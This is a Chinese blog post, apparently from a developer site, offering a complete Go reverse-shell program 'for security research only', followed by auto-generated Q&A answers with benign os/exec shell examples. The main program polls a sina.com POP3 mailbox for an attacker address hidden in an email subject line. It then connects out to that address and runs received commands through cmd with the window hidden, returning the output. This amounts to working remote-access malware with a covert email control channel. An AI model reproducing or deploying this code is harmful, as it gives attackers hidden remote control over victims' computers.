golang写的反弹shell(自作孽不可活,切记,切记!)

仅作安全研究

package main
import (
    "os/exec"
    "go-pop3"
    "log"
    "strings"
    "net"
    // "fmt"
    "syscall"
    "bufio"
    "time"
)

//反弹shell函数
func reverseshell(addr string){

    if c,_:=net.Dial("tcp", addr); c != nil {
        for{
            status, _ := bufio.NewReader(c).ReadString('\n');
            //显示输入命令
            // fmt.Println(status)
            //输入exit命令退出
            if status == "exit\n" {
                break
            }
            //输入Ctrl+C时字符为空退出
            if status == "" {
                break
            }
            //执行命令返回结果
            cmd := exec.Command("cmd", "/C", status)
            cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
            out, _ := cmd.Output();
            c.Write([]byte(out))
        }
    }
}

//获取Email中的地址并调用反弹shell函数
func Get_Address_to_Rverse_shell(username string, password string){

    client, err := pop3.Dial("pop.sina.com:110")

    if err != nil {
        log.Fatalf("Error: %v\n", err)
    }

    defer func() {
        client.Quit()
        client.Close()
    }()

    if err = client.User(username); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    if err = client.Pass(password); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    var count int
    var size uint64

    if count, size, err = client.Stat(); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    log.Printf("Count: %d, Size: %d\n", count, size)

    var content string

    if content, err = client.Retr(count); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    if err = client.Dele(count); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    if err = client.Noop(); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    if err = client.Rset(); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    //处理邮件object,获取地址
    list := strings.Split(content, "\r\n")
    for i := 0; i < len(list); i++ {
        line := list[i]
        if strings.Contains(line, "Subject:"){
            addrlist := strings.Split(line, ":")
            if len(addrlist) == 3 {
                temp_addr := addrlist[1] + ":" + addrlist[2]
                ADDR := strings.Replace(temp_addr, " ", "", -1)
                reverseshell(ADDR)
                // go reverseshell(ADDR)
            }
        }
    }
}


func main(){
    
    username := "xxx"
    password := "xxx"
    for{
        Get_Address_to_Rverse_shell(username, password)
        time.Sleep(10 * time.Second)
    }

}



  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 你可以使用 `os/exec` 包来在 Go 中实现与 Shell 的交互。下面是一个简单的示例代码: ```go package main import ( "bufio" "fmt" "os/exec" ) func main() { cmd := exec.Command("sh") stdin, err := cmd.StdinPipe() if err != nil { panic(err) } stdout, err := cmd.StdoutPipe() if err != nil { panic(err) } scanner := bufio.NewScanner(stdout) if err := cmd.Start(); err != nil { panic(err) } go func() { defer stdin.Close() stdin.Write([]byte("echo hello world\n")) }() for scanner.Scan() { fmt.Println(scanner.Text()) } if err := cmd.Wait(); err != nil { panic(err) } } ``` 这个例子创建了一个 `sh` 进程,并通过管道向其输入了一个命令 `echo hello world`,然后读取了输出并打印到控制台。你可以根据自己的需求修改这个例子。 ### 回答2: golangShell交互是指在Golang程序中执行Shell命令并与其进行交互的功能。 在Golang中实现Shell交互可以使用os/exec包。该包提供了执行Shell命令的函数和方法,可以通过它们来执行Shell命令并获取命令的标准输出、标准错误和执行结果。 首先,我们需要引入os/exec包。然后,使用exec.Command函数创建一个Cmd类型的对象,该对象表示要执行的Shell命令。可以通过Cmd对象的方法设置命令的参数、工目录等。 接下来,使用Cmd对象的CombinedOutput方法来执行Shell命令,并获取命令的输出结果。CombinedOutput方法会返回一个字节数组,其中存储了命令的标准输出和标准错误。 最后,我们可以将字节数组转换为字符串,并进行相应的处理,如打印输出或进一步解析。 以下是一个简单的示例代码,演示了如何在Golang中实现Shell交互的功能: ``` package main import ( "fmt" "log" "os/exec" ) func main() { cmd := exec.Command("ls", "-l") // 创建Cmd对象,执行ls -l命令 output, err := cmd.CombinedOutput() // 执行命令并获取输出结果 if err != nil { log.Fatal(err) // 如果执行命令出错,打印错误信息并退出 } fmt.Println(string(output)) // 将字节数组转换为字符串并打印输出 } ``` 以上代码会执行`ls -l`命令,并将结果打印到控制台。 需要注意的是,在使用Golang执行Shell命令时,需要保证可执行的命令位于环境变量`$PATH`所指定的路径中,否则需要指定完整的命令路径。示例中的`ls`命令是一个常见的Shell命令,因此不需要指定路径。 总结来说,通过使用os/exec包,我们可以在Golang程序中实现Shell交互的功能,从而执行Shell命令,并获取其输出结果。 ### 回答3: Go语言本身并不提供直接的Shell交互功能,但我们可以使用一些第三方库来实现类似的功能。 一个常用的库是“os/exec”,它允许我们执行外部 Shell 命令并与其进行交互。下面是一个简单的示例代码: ```go package main import ( "bufio" "fmt" "os" "os/exec" ) func main() { // 创建一个命令对象 cmd := exec.Command("/bin/sh") // 获取命令的标准输入和输出管道 stdin, _ := cmd.StdinPipe() stdout, _ := cmd.StdoutPipe() // 启动命令 cmd.Start() // 准备一个输入读取器,用于读取用户输入 reader := bufio.NewReader(os.Stdin) for { // 读取用户输入 input, _ := reader.ReadString('\n') // 将用户输入入命令的标准输入管道 stdin.Write([]byte(input)) // 读取命令的标准输出 output := make([]byte, 1024) stdout.Read(output) // 打印输出结果 fmt.Println(string(output)) } } ``` 这段代码会启动一个新的Shell,并不断读取用户的输入并将其发送给Shell的标准输入,然后读取Shell的标准输出并打印出来。 请注意,这里的示例代码没有处理错误情况,为了简单起见,省略了错误处理部分。在实际应用中,我们应该对错误进行适当处理。 希望这个示例能够帮助你实现Go语言下的Shell交互功能。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值